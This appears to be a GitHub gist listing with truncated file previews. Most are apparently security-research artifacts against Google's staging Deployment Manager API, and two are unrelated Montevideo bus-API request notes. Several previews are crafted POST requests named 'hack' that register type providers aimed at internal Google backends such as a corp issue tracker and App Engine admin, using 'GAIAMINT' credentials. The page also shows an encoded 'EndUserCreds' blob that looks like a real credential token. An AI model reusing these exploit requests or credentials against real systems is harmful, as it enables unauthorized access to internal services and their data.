View encode.sh
#!/bin/bash | |
project=$1 | |
page_size=3 | |
unknown4=0 | |
# Magic | |
outer=$(echo -e "project: $project\npage_size: $page_size\nunknown4: $unknown4" | protoc --encode=Outer test.proto | base64 -w 0 | sed 's/+/-/g; s/\//_/g') | |
outer=${outer//=} |
View example.txt
POST https://www.googleapis.com/deploymentmanager/staging_dogfood/projects/<PROJECT>/global/typeProviders?access_token=<TOKEN> HTTP/1.1 | |
{ | |
"name": "hack", | |
"descriptorUrl": "https://example.com/", | |
"googleOptions": { | |
"gslbTarget": "gslb:test-gaia-backend", | |
"descriptorUrlServerSpec": "gslb:test-gaia-backend", | |
"ownershipKind": "GOOGLE", | |
"credentialType": "GAIAMINT", |
View example.txt
POST https://www.googleapis.com/deploymentmanager/staging_dogfood/projects/<PROJECT>/global/typeProviders?access_token=<TOKEN> HTTP/1.1 | |
{ | |
"name": "hack", | |
"descriptorUrl": "https://issuetracker.corp.googleapis.com/$discovery/rest?key=<KEY>", | |
"googleOptions": { | |
"gslbTarget": "blade:corp-issuetracker-api", | |
"descriptorUrlServerSpec": "blade:corp-issuetracker-api", | |
"ownershipKind": "GOOGLE", | |
"credentialType": "GAIAMINT", |
View example.txt
POST https://www.googleapis.com/deploymentmanager/staging_dogfood/projects/<PROJECT>/global/typeProviders?access_token=<TOKEN> HTTP/1.1 | |
{ | |
"name": "hack", | |
"descriptorUrl": "https://<GSLB target's path to a descriptor document>", | |
"googleOptions": { | |
"gslbTarget": <GSLB target name>, | |
"descriptorUrlServerSpec": <GSLB target name>, | |
"ownershipKind": "GOOGLE", | |
"credentialType": "GAIAMINT", |
View staging-deploymentmanager.sandbox.googleapis.com_dogfood.json
{ | |
"auth": { | |
"oauth2": { | |
"scopes": { | |
"https://www.googleapis.com/auth/cloud-platform": { | |
"description": "View and manage your data across Google Cloud Platform services" | |
}, | |
"https://www.googleapis.com/auth/cloud-platform.read-only": { | |
"description": "View your data across Google Cloud Platform services" | |
}, |
View example_insert_tp_req.txt
POST https://www.googleapis.com/deploymentmanager/staging_dogfood/projects/<PROJECT>/global/typeProviders?access_token=<TOKEN> HTTP/1.1 | |
{ | |
"name": "hack", | |
"descriptorUrl": "https://test-appengine.sandbox.googleapis.com/$discovery/rest?key=<KEY>", | |
"googleOptions": { | |
"gslbTarget": "blade:apphosting-admin-nightly", | |
"descriptorUrlServerSpec": "blade:apphosting-admin-nightly", | |
"ownershipKind": "GOOGLE", | |
"credentialType": "GAIAMINT", |
View EUC_example.txt
EndUserCreds 1 BxiMqwEY1SgYpugDGK2lBRjB_wEYn1oYweoCGPB5GL8FGLSfASoJYW5vbnltb3VzSIXkk8LTCVKDAQi5xsPDqAgSLjMzMTY1NjUyNDI5M0BjbG91ZHNlcnZpY2VzLmdzZXJ2aWNlYWNjb3VudC5jb20gASgAQABbYi4zMzE2NTY1MjQyOTNAY2xvdWRzZXJ2aWNlcy5nc2VydmljZWFjY291bnQuY29tXKsB2AbzAuAGAawB6goGkAIBsAUBWP___________wFwAVphMhMKEQoIY2xvdWQtZG0Qg_z_h_8eSAFqDgoIY2xvdWQtZG0aAnZychUIBTIRCghjbG91ZC1kbRCD_P-H_x6CAQ8KBAgBEAASBwiF5JPC0wmSAQ4IBTIKCghjbG91ZC1kbZIBDwoECAEQABIHCIXkk8LTCagBucbDw6gIMoUCAE_SaXYiViKbsWJ05GxMNvfEhEoZbbXGubN9kNRSdDpyXfCRX8VS0Ic4IN8ZV2oaIcI9RsnKC7L-DcZrtBkXORWaLhdYh1j06qKnkAfu-fB5zun4SNB6aZ9K0Nwc6ChOEgb192abW9-onn-gGebcm2gUqipDNldhoLkuGRIagm89oQJVpu8pRdyv1oL3PQF4CUppvO6LHWJfw8u3w7qf4WOWewY3Jq-m1qAjwEMvRCGmoibZFqCqLJ9k56JbSYkAWVopB2jI7ZbJ5VNrVcAAEe6FpqeoHNwZYIvOtkujecVNR-wfdyd9Ic0fS-DcOs4dgVFtIC5rtwwK0eIFmJbxfy31ScePShZjbG91ZGdhaWE6OnZqZ3Y3Mzo5ODk4 |
View dm.proto
syntax = "proto3"; | |
enum OperationStatus { | |
UNKNOWN_STATUS_0 = 0; | |
UNKNOWN_STATUS_1 = 1; | |
UNKNOWN_STATUS_2 = 2; | |
DONE = 3; | |
} | |
message Operation { |
View Extra_bus_STM.txt
POST /stmonlineRest/nextETA HTTP/1.1 | |
Host: m.montevideo.gub.uy | |
Content-Type: application/json | |
Content-Length: 100 | |
{ | |
"variante": [], | |
"parada": 1192, | |
"linea": ["526","G","148","329"], | |
"cantPorLinea": 3 |
View Rastreo_buses_STM.txt
-- Petición -- | |
POST /buses/rest/stm-online HTTP/1.1 | |
Host: www.montevideo.gub.uy | |
Content-Type: application/json | |
Content-Length: <LENGTH> | |
Notas: | |
- Es OBLIGATORIO setear la cabecera "Content-Type" con el valor "application/json" | |
- Es OBLIGATORIO hacer la petición por HTTP, no HTTPS |
NewerOlder